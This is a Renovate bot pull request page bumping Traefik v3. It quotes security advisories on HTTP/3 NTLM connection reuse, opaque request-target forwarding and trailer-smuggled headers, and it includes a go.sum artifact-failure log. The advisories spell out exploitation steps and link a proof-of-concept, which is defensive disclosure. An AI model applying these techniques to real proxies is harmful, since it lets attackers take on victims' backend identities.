  2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-CONNECT requests, require req.URL.Opaque == "" and an EscapedPath() beginning with /, or normalize the true absolute-form case by promoting the authority into req.Host. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, sanitizePath still rewrites RequestURI to the attacker's authority-bearing form and the access log still records /.
  3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point.
  4. Consider reporting the ReverseProxy omission upstream to Go as well, since NewSingleHostReverseProxy has the same gap, but do not make the Traefik fix wait on it.
  5. If filed as an advisory, use cluster slug opaque-request-target-forwarding and note that the fix must land on the fast proxy in the same PR.
Provenance

Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.

Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.

Scanner finding ids : F4, F20. Internal report : findings/scan-20260824/verdicts/J04.md, J18.md in the security-advisor repository.

---

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik HTTP/3 Backend NTLM Connection Reuse

CVE-2026-88007 / GHSA-qqjf-53cj-pwvv

More information

Details

Summary

Traefik's HTTP/3 request path did not initialize the connection-scoped backend transport holder that isolates connection-bound NTLM and Negotiate (Kerberos) authentication on the HTTP/1.1 and HTTP/2 paths. The HTTP/3 entrypoint reuses the HTTPS handler chain and reaches the same backend round-tripper, but its ConnContext never called service.AddTransportOnContext, so kerberosRoundTripper fell back to the shared backend transport instead of a per-frontend-connection pool. On a route served over HTTP/3 to a backend that binds identity to a persistent connection via NTLM or Negotiate, an unrelated HTTP/3 client could be assigned a backend connection already authenticated as a victim and inherit that identity, reading victim-only data and performing actions as the victim without presenting the victim's credentials. Affected deployments require HTTP/3 enabled on the entrypoint, a backend using connection-bound NTLM/Negotiate authentication, and backend keep-alive; deployments using ordinary per-request authentication are not affected.

Patches
For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description
Traefik HTTP/3 Backend NTLM Connection Reuse
Summary

Traefik's HTTP/3 request path does not initialize the connection-scoped backend transport state that Traefik uses to isolate connection-bound NTLM and Negotiate authentication for HTTP/1.1 and HTTP/2. When a backend keeps authenticated identity on a persistent HTTP/1.1 TCP connection, an unrelated HTTP/3 client can reuse a victim-authenticated backend connection and inherit that backend identity.

In the attached reproduction, the HTTPS/HTTP/1.1 control case behaves correctly and isolates the attacker, but the HTTP/3 case allows a second unauthenticated client to read victim-only data and execute a state-changing request as actor=victim.

Validated target:

  • Repository: traefik/traefik
  • Commit: f2d0794417e4d06343e6e7c4722143f5b34bee45
  • Validation time: 2026-08-25T06:48:02Z
  • Commit time: 2026-08-24T08:26:06Z
  • Patched status: not evaluated
Details

The issue is caused by a protocol-parity gap between the normal TCP HTTP entrypoint path and the HTTP/3 entrypoint path.

For HTTP/1.1 and HTTP/2, Traefik explicitly creates a connection-scoped holder that can later store a dedicated RoundTripper for NTLM or Negotiate:

// pkg/server/server_entrypoint_tcp.go:691-703
var connContext multipleConnContext
connContext.AddConnContextFunc(func(ctx context.Context, c net.Conn) context.Context {
	// This adds an empty struct in order to store a RoundTripper in the ConnContext in case of Kerberos or NTLM.
	ctx = service.AddTransportOnContext(ctx)

	if tlsConn, ok := c.(*tls.Conn); ok {
		if tlsConnWithOptionsName, ok := tlsConn.NetConn().(tcp.TLSConn); ok {
			return tcp.AddTLSOptionsNameInContext(ctx, tlsConnWithOptionsName.TLSOptionsName)
		}
	}

	return ctx
})

That helper installs the per-connection holder, and kerberosRoundTripper depends on it. If the holder is absent, it falls back to the shared original backend transport. If NTLM or Negotiate is detected, it stores a dedicated cloned RoundTripper into that holder so future requests stay on the authenticated backend connection:

// pkg/server/service/transport.go:374-402
func AddTransportOnContext(ctx context.Context) context.Context {
	return context.WithValue(ctx, transportKey, &stickyRoundTripper{})
}

type kerberosRoundTripper struct {
	new                  func() http.RoundTripper
	OriginalRoundTripper http.RoundTripper
}

func (k *kerberosRoundTripper) RoundTrip(request *http.Request) (*http.Response, error) {
	value, ok := request.Context().Value(transportKey).(*stickyRoundTripper)
	if !ok {
		return k.OriginalRoundTripper.RoundTrip(request)
	}

	if value.RoundTripper != nil {
		return value.RoundTripper.RoundTrip(request)
	}

	resp, err := k.OriginalRoundTripper.RoundTrip(request)

	// If we found that we are authenticating with Kerberos (Negotiate) or NTLM.
	// We put a dedicated roundTripper in the ConnContext.
	// This will stick the next calls to the same connection with the backend.
	if err == nil && containsNTLMorNegotiate(resp.Header.Values("WWW-Authenticate")) {
		value.RoundTripper = k.new()
	}
	return resp, err
}

For HTTP/3, the server reuses the normal HTTPS handler chain, but its ConnContext only propagates the TLS options name and does not call service.AddTransportOnContext:

// pkg/server/server_entrypoint_tcp_http3.go:65-80
h3.Server = &http3.Server{
	Addr:      config.GetAddress(),
	Port:      config.HTTP3.AdvertisedPort,
	Handler:   httpsServer.Server.(*http.Server).Handler,
	TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient},
	QUICConfig: &quic.Config{
		Allow0RTT: false,
	},
	ConnContext: func(ctx context.Context, c *quic.Conn) context.Context {
		tlsOptionsName, err := h3.getTLSOptionsName(c)
		if err != nil {
			log.Error().Msgf("Error getting TLS options name for client: %v", err)
			return ctx
		}
		return tcp.AddTLSOptionsNameInContext(ctx, tlsOptionsName)
	},
}

This means HTTP/3 requests reach the same reverse-proxy and backend transport logic as HTTPS, but without the connection-scoped transport holder that NTLM and Negotiate isolation relies on.

In practice, the flow is:

  1. A victim authenticates through Traefik to a backend that binds identity to the backend TCP connection using NTLM or Negotiate.
  2. Because the HTTP/3 request context does not contain transportKey, kerberosRoundTripper uses the shared OriginalRoundTripper.
  3. No frontend-connection-specific dedicated backend pool is installed for that HTTP/3 client.
  4. A second unrelated HTTP/3 client can be assigned the same backend TCP connection after the victim has authenticated it.
  5. That second client inherits the victim's backend identity without sending the victim's credentials.

The attached verifier demonstrates both the negative control and the exploit path:

  • HTTPS/HTTP/1.1 control case: the attacker uses a separate frontend connection and correctly receives 401
  • HTTP/3 exploit case: the attacker uses a separate HTTP/3 client with no Authorization header, reads resource=secret actor=victim, executes action=transfer actor=victim to=attacker amount=5000, and hits the same backend TCP connection identifier as the victim
PoC

See the reproduction materials at:
https://gist.github.com/OneZ3r0/41da8e8b79ebbe444a94f8a2a3a30895

The gist can also be downloaded as a ZIP archive.

Files included in this gist:

  • run.sh
  • Dockerfile
  • .dockerignore
  • go.mod
  • go.sum
  • verify.go

The package is intentionally kept as a single-container reproduction:

  1. run.sh builds a local image for the pinned target commit
  2. the Dockerfile builds both Traefik and the verifier during image build
  3. the container runs the verifier directly as its entrypoint
  4. the verifier starts a synthetic backend, launches Traefik, runs the HTTPS/HTTP/1.1 control case, then runs the HTTP/3 exploit case

Run:

./run.sh

run.sh defaults to the validated commit above. To override it explicitly:

PRODUCT_COMMIT=f2d0794417e4d06343e6e7c4722143f5b34bee45 ./run.sh

Expected terminal result:

REPRODUCED: HTTP/1.1 isolates the authenticated backend connection, but HTTP/3 reuses the victim-authenticated backend connection for a different client and executes an unauthorized state-changing request as the victim.

Important observed behavior from the PoC:

  • the HTTP/1.1 control case succeeds only if a fresh attacker connection receives 401
  • the HTTP/3 exploit case succeeds only if the attacker reads victim-only data without sending Authorization
  • the HTTP/3 exploit case succeeds only if the attacker performs /transfer?to=attacker&amount=5000 as actor=victim
  • the HTTP/3 exploit case succeeds only if the attacker uses the same backend TCP connection identifier as the victim

Environment notes:

  • Docker is required
  • the build fetches the target Traefik source from GitHub
  • no production credentials or external NTLM service are required; the verifier includes a synthetic NTLM-like backend specifically to demonstrate connection-bound identity reuse
Impact

This is a cross-client authorization bypass affecting deployments that expose HTTP/3 routes to backends using connection-bound NTLM or Negotiate authentication with persistent backend connection reuse.

In the verified reproduction, an unauthenticated second client can:

  • read victim-only data
  • perform a state-changing action as the victim
  • reuse a backend TCP connection that has already been authenticated as the victim

Attack prerequisites:

  • HTTP/3 enabled on the Traefik entrypoint
  • a routed backend using connection-bound NTLM or Negotiate authentication
  • backend keep-alive and backend connection reuse enabled
  • the attacker can reach the same route as the victim

Deployments using ordinary per-request authentication are not affected by this specific issue.

---

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik entrypoint header-name sanitization bypassed via request trailers

CVE-2026-88004 / GHSA-v67p-phpq-fc8x

More information

Details

Summary

Traefik's entrypoint defenses against spoofed trusted header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the default forwardedHeaders stripping of client-supplied X-Forwarded-* — scan req.Header only and never req.Trailer. An unauthenticated client can therefore smuggle a sanitized name (an aliasing spelling such as X_Auth_User, or a trusted name such as X-Forwarded-Prefix) as an HTTP/1.1 chunked trailer or an HTTP/2 trailer: reject does not return its documented 400, delete does not remove the name, and Traefik's reverse proxy forwarded the trailer to the backend — with an attacker-chosen value whenever a body-buffering middleware (the retry middleware with status codes, or the buffering middleware) reads the body before the proxy clone. Backends that merge trailers into their header namespace then act on the smuggled name. The fix stops forwarding request trailer values to the backend; the declared trailer names are still forwarded as permitted by RFC 9110 section 6.6.2.

Traefik v2 is not affected: the defect is in the custom reverse proxy introduced in v3 (pkg/proxy/httputil), and v2 uses the Go standard library's httputil.ReverseProxy, which does not forward request trailer values to the backend. Affected v3 lines from v3.2.0 through v3.7.12 include the end-of-life v3.2 through v3.6 lines, which will not receive a fix on their own l

❗ Important

✂ PR body was truncated to here.

@trap-renovate

trap-renovate Bot commented Sep 11, 2026 •

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: go.sum
go: downloading connectrpc.com/connect v1.20.0
go: downloading connectrpc.com/otelconnect v0.9.0
go: downloading github.com/labstack/echo/v5 v5.3.1
go: downloading github.com/cert-manager/cert-manager v1.21.1
go: downloading github.com/go-sql-driver/mysql v1.10.0
go: downloading github.com/google/wire v0.7.0
go: downloading github.com/moby/buildkit v0.32.2
go: downloading github.com/samber/oops v1.23.0
go: downloading github.com/spf13/cobra v1.10.2
go: downloading github.com/spf13/viper v1.21.0
go: downloading golang.org/x/sync v0.22.0
go: downloading github.com/traefik/traefik/v3 v3.7.13
go: downloading k8s.io/client-go v0.36.3
go: downloading github.com/docker/cli v29.7.2+incompatible
go: downloading golang.org/x/net v0.58.0
go: downloading github.com/go-git/go-git/v5 v5.19.2
go: downloading github.com/moby/moby/api v1.55.0
go: downloading github.com/samber/lo v1.53.0
go: downloading github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
go: downloading github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8
go: downloading golang.org/x/crypto v0.56.0
go: downloading github.com/moby/moby/client v0.5.1
go: downloading gopkg.in/yaml.v3 v3.0.1
go: downloading go.mongodb.org/mongo-driver/v2 v2.8.0
go: downloading k8s.io/api v0.36.3
go: downloading github.com/stretchr/testify v1.12.1
go: downloading k8s.io/apiextensions-apiserver v0.36.3
go: downloading k8s.io/apimachinery v0.36.3
go: downloading github.com/motoki317/sc v1.8.2
go: downloading go.opentelemetry.io/otel/trace v1.45.0
go: downloading google.golang.org/protobuf v1.36.12
go: downloading go.opentelemetry.io/otel v1.45.0
go: downloading github.com/coder/websocket v1.8.15
go: downloading github.com/prometheus/client_golang v1.24.1
go: downloading github.com/prometheus/common v0.70.1
go: downloading github.com/aarondl/sqlboiler/v4 v4.19.7
go: downloading github.com/regclient/regclient v0.11.5
go: downloading github.com/aarondl/null/v8 v8.1.3
go: downloading github.com/aarondl/strmangle v0.0.9
go: downloading go.opentelemetry.io/otel/sdk v1.45.0
go: downloading github.com/friendsofgo/errors v0.9.2
go: downloading github.com/aws/aws-sdk-go-v2 v1.45.1
go: downloading github.com/go-playground/webhooks/v6 v6.4.0
go: downloading github.com/aws/aws-sdk-go-v2/config v1.33.1
go: downloading github.com/testcontainers/testcontainers-go v0.44.0
go: downloading github.com/aws/aws-sdk-go-v2/credentials v1.20.1
go: downloading go.uber.org/dig v1.19.0
go: downloading github.com/google/go-cmp v0.7.0
go: downloading github.com/aws/aws-sdk-go-v2/feature/s3/transfermanager v0.3.11
go: downloading github.com/aws/aws-sdk-go-v2/service/s3 v1.109.1
go: downloading github.com/ncw/swift/v2 v2.0.5
go: downloading code.gitea.io/sdk/gitea v0.25.1
go: downloading github.com/tonistiigi/fsutil v0.0.0-20260819142231-83cac42c1c52
go: downloading github.com/gliderlabs/ssh v0.3.8
go: downloading github.com/spf13/pflag v1.0.10
go: downloading github.com/bep/debounce v1.2.1
go: downloading github.com/lukesampson/figlet v0.0.0-20190211215653-8a3ef4a6ac42
go: downloading github.com/zeebo/xxh3 v1.1.0
go: downloading go.opentelemetry.io/otel/metric v1.45.0
go: downloading filippo.io/edwards25519 v1.2.0
go: downloading github.com/oklog/ulid/v2 v2.1.1
go: downloading github.com/inconshreveable/mousetrap v1.1.0
go: downloading github.com/fsnotify/fsnotify v1.10.1
go: downloading github.com/go-viper/mapstructure/v2 v2.5.0
go: downloading github.com/sagikazarmark/locafero v0.11.0
go: downloading github.com/spf13/afero v1.15.0
go: downloading github.com/spf13/cast v1.10.0
go: downloading github.com/containerd/containerd/api v1.11.1
go: downloading github.com/containerd/containerd/v2 v2.3.3
go: downloading github.com/opencontainers/image-spec v1.1.1
go: downloading github.com/pkg/errors v0.9.1
go: downloading go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.69.0
go: downloading github.com/opencontainers/go-digest v1.0.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0
go: downloading google.golang.org/grpc v1.83.2
go: downloading github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822
go: downloading k8s.io/utils v0.0.0-20260626114624-be93311217bd
go: downloading k8s.io/klog/v2 v2.140.0
go: downloading github.com/kevinburke/ssh_config v1.2.0
go: downloading github.com/skeema/knownhosts v1.3.1
go: downloading github.com/xanzy/ssh-agent v0.3.3
go: downloading github.com/docker/go-units v0.5.0
go: downloading github.com/moby/docker-image-spec v1.3.1
go: downloading github.com/sirupsen/logrus v1.9.4
go: downloading golang.org/x/text v0.41.0
go: downloading github.com/traefik/paerser v0.2.2
go: downloading github.com/gorilla/mux v1.8.1
go: downloading github.com/rs/zerolog v1.34.0
go: downloading github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29
go: downloading github.com/containerd/errdefs v1.0.0
go: downloading github.com/containerd/errdefs/pkg v0.3.0
go: downloading github.com/distribution/reference v0.6.0
go: downloading github.com/docker/go-connections v0.7.0
go: downloading go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0
go: downloading github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78
go: downloading gopkg.in/inf.v0 v0.9.1
go: downloading dario.cat/mergo v1.0.2
go: downloading github.com/ProtonMail/go-crypto v1.4.1
go: downloading github.com/go-git/go-billy/v5 v5.9.0
go: downloading github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3
go: downloading sigs.k8s.io/randfill v1.0.0
go: downloading github.com/emirpasic/gods v1.18.1
go: downloading github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8
go: downloading github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674
go: downloading k8s.io/streaming v0.36.3
go: downloading golang.org/x/term v0.45.0
go: downloading github.com/beorn7/perks v1.0.1
go: downloading github.com/cespare/xxhash/v2 v2.3.0
go: downloading github.com/prometheus/client_model v0.6.2
go: downloading github.com/prometheus/procfs v0.21.1
go: downloading golang.org/x/sys v0.47.0
go: downloading github.com/json-iterator/go v1.1.13-0.20220915233716-71ac16282d12
go: downloading github.com/aarondl/randomize v0.0.2
go: downloading golang.org/x/time v0.15.0
go: downloading github.com/aarondl/inflect v0.0.2
go: downloading github.com/go-logr/logr v1.4.4
go: downloading github.com/google/uuid v1.6.0
go: downloading golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028
go: downloading github.com/aws/smithy-go v1.28.1
go: downloading github.com/aws/aws-sdk-go-v2/service/signin v1.7.1
go: downloading github.com/aws/aws-sdk-go-v2/service/ssooidc v1.40.1
go: downloading github.com/aws/aws-sdk-go-v2/service/sso v1.35.1
go: downloading github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.19.1
go: downloading github.com/aws/aws-sdk-go-v2/service/sts v1.47.1
go: downloading github.com/cenkalti/backoff/v4 v4.3.0
go: downloading github.com/containerd/platforms v1.0.0-rc.4
go: downloading github.com/cpuguy83/dockercfg v0.3.2
go: downloading github.com/moby/go-archive v0.3.3
go: downloading github.com/moby/patternmatcher v0.6.1
go: downloading github.com/gofrs/flock v0.13.0
go: downloading github.com/hashicorp/go-cleanhttp v0.5.2
go: downloading github.com/containerd/console v1.0.5
go: downloading github.com/morikuni/aec v1.1.0
go: downloading github.com/tonistiigi/go-csvvalue v0.0.0-20240814133006-030d3b2625d0
go: downloading github.com/tonistiigi/units v0.0.0-20180711220420-6950e57a87ea
go: downloading github.com/tonistiigi/vt100 v0.0.0-20240514184818-90bafcd6abab
go: downloading github.com/42wim/httpsig v1.2.4
go: downloading github.com/davidmz/go-pageant v1.0.2
go: downloading github.com/go-fed/httpsig v1.1.0
go: downloading github.com/hashicorp/go-version v1.9.0
go: downloading github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be
go: downloading github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.20
go: downloading github.com/aws/aws-sdk-go-v2/internal/configsources v1.5.1
go: downloading github.com/aws/aws-sdk-go-v2/internal/v4a v1.5.1
go: downloading github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.19
go: downloading github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.11.1
go: downloading github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.14.1
go: downloading github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.20.1
go: downloading github.com/klauspost/cpuid/v2 v2.3.0
go: downloading github.com/containerd/continuity v0.5.0
go: downloading github.com/subosito/gotenv v1.6.0
go: downloading github.com/pelletier/go-toml/v2 v2.3.1
go: downloading go.yaml.in/yaml/v3 v3.0.5
go: downloading github.com/google/gnostic-models v0.7.1
go: downloading github.com/containerd/ttrpc v1.2.9
go: downloading github.com/containerd/log v0.1.0
go: downloading github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10
go: downloading google.golang.org/genproto/googleapis/rpc v0.0.0-20260819154853-08b0e4226688
go: downloading github.com/moby/sys/signal v0.7.1
go: downloading github.com/containerd/typeurl/v2 v2.3.0
go: downloading go.opentelemetry.io/proto/otlp v1.10.0
go: downloading go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.69.0
go: downloading sigs.k8s.io/gateway-api v1.6.1
go: downloading github.com/fxamacker/cbor/v2 v2.9.1
go: downloading k8s.io/kube-openapi v0.0.0-20260501160325-927ab1f70cd6
go: downloading sigs.k8s.io/structured-merge-diff/v6 v6.4.0
go: downloading golang.org/x/oauth2 v0.36.0
go: downloading github.com/docker/docker-credential-helpers v0.9.8
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.20.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.20.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.44.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0
go: downloading go.opentelemetry.io/otel/sdk/log v0.20.0
go: downloading github.com/go-acme/lego/v5 v5.4.1
go: downloading github.com/patrickmn/go-cache v2.1.0+incompatible
go: downloading github.com/klauspost/compress v1.19.1
go: downloading github.com/xdg-go/scram v1.2.0
go: downloading github.com/xdg-go/stringprep v1.0.4
go: downloading github.com/felixge/httpsnoop v1.1.0
go: downloading github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376
go: downloading github.com/pjbgf/sha1cd v0.6.0
go: downloading github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99
go: downloading sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730
go: downloading github.com/cyphar/filepath-securejoin v0.6.1
go: downloading github.com/gofrs/uuid v4.4.0+incompatible
go: downloading github.com/ulikunitz/xz v0.5.15
go: downloading github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7
go: downloading github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd
go: downloading github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee
go: downloading github.com/go-logr/stdr v1.2.2
go: downloading go.opentelemetry.io/auto/sdk v1.2.1
go: downloading github.com/moby/term v0.5.2
go: downloading github.com/moby/sys/sequential v0.7.0
go: downloading github.com/moby/sys/user v0.4.1
go: downloading github.com/moby/sys/userns v0.1.0
go: downloading github.com/magiconair/properties v1.8.10
go: downloading github.com/shirou/gopsutil/v4 v4.26.6
go: downloading github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.8.1
go: downloading github.com/in-toto/in-toto-golang v0.11.0
go: downloading github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0
go: downloading sigs.k8s.io/yaml v1.6.0
go: downloading github.com/x448/float16 v0.8.4
go: downloading go.yaml.in/yaml/v2 v2.4.4
go: downloading github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc
go: downloading github.com/google/go-github/v90 v90.0.0
go: downloading github.com/unrolled/render v1.0.2
go: downloading gopkg.in/evanphx/json-patch.v4 v4.13.0
go: downloading go.opentelemetry.io/otel/log v0.20.0
go: downloading github.com/go-kit/log v0.2.1
go: downloading github.com/http-wasm/http-wasm-host-go v0.7.0
go: downloading github.com/mattn/go-colorable v0.1.14
go: downloading github.com/miekg/dns v1.1.73
go: downloading github.com/cloudflare/circl v1.6.3
go: downloading github.com/xdg-go/pbkdf2 v1.0.0
go: downloading gopkg.in/warnings.v0 v0.1.2
go: downloading github.com/moby/locker v1.0.1
go: downloading github.com/go-openapi/swag v0.26.1
go: downloading github.com/go-openapi/jsonreference v0.21.6
go: downloading github.com/tklauser/go-sysconf v0.4.0
go: downloading github.com/in-toto/attestation v1.2.0
go: downloading github.com/secure-systems-lab/go-securesystemslib v0.11.0
go: downloading github.com/shibumi/go-pathspec v1.3.0
go: downloading google.golang.org/genproto/googleapis/api v0.0.0-20260715232425-e75dac1f907d
go: downloading github.com/cenkalti/backoff/v5 v5.0.3
go: downloading github.com/go-logfmt/logfmt v0.5.1
go: downloading github.com/mattn/go-isatty v0.0.24
go: downloading software.sslmate.com/src/go-pkcs12 v0.7.3
go: downloading github.com/google/go-querystring v1.2.0
go: downloading github.com/moby/spdystream v0.5.1
go: downloading github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c
go: downloading github.com/emicklei/go-restful/v3 v3.13.0
go: downloading github.com/ebitengine/purego v0.10.1
go: downloading github.com/yusufpapurcu/wmi v1.2.4
go: downloading github.com/lufia/plan9stats v0.0.0-20260330125221-c963978e514e
go: downloading github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55
go: downloading github.com/go-openapi/swag/cmdutils v0.26.1
go: downloading github.com/go-openapi/swag/conv v0.27.0
go: downloading github.com/go-openapi/swag/fileutils v0.26.1
go: downloading github.com/go-openapi/swag/jsonname v0.26.1
go: downloading github.com/go-openapi/swag/jsonutils v0.26.1
go: downloading github.com/go-openapi/swag/loading v0.26.1
go: downloading github.com/go-openapi/swag/mangling v0.26.1
go: downloading github.com/go-openapi/swag/netutils v0.26.1
go: downloading github.com/go-openapi/swag/stringutils v0.26.1
go: downloading github.com/go-openapi/swag/typeutils v0.27.0
go: downloading github.com/go-openapi/swag/yamlutils v0.26.1
go: downloading github.com/tklauser/numcpus v0.12.0
go: downloading github.com/go-openapi/jsonpointer v0.23.1
go: downloading github.com/go-jose/go-jose/v4 v4.1.4
go: downloading github.com/go-ole/go-ole v1.3.0
go: github.com/traPtitech/neoshowcase/pkg/infrastructure/backend/k8simpl imports
	github.com/traefik/traefik/v3/pkg/config/dynamic imports
	github.com/traefik/traefik/dynamic/ext: github.com/traefik/traefik/dynamic/ext@v0.0.0-00010101000000-000000000000: replacement directory ./third_party/traefik-dynamic-ext does not exist

@coderabbitai

coderabbitai Bot commented Sep 11, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Advanced

Run ID: ac0505d5-3fbb-49c6-814a-763531d1de7b

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@github-actions

Copy link
Copy Markdown
Contributor

Preview (prod backend + PR dashboard) → https://1352.ns-preview.trapti.tech/

@trap-renovate
trap-renovate Bot force-pushed the renovate/go-github.life-white.uk-traefik-traefik-v3-vulnerability branch from 8b62940 to 7e47e52 Compare September 16, 2026 15:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants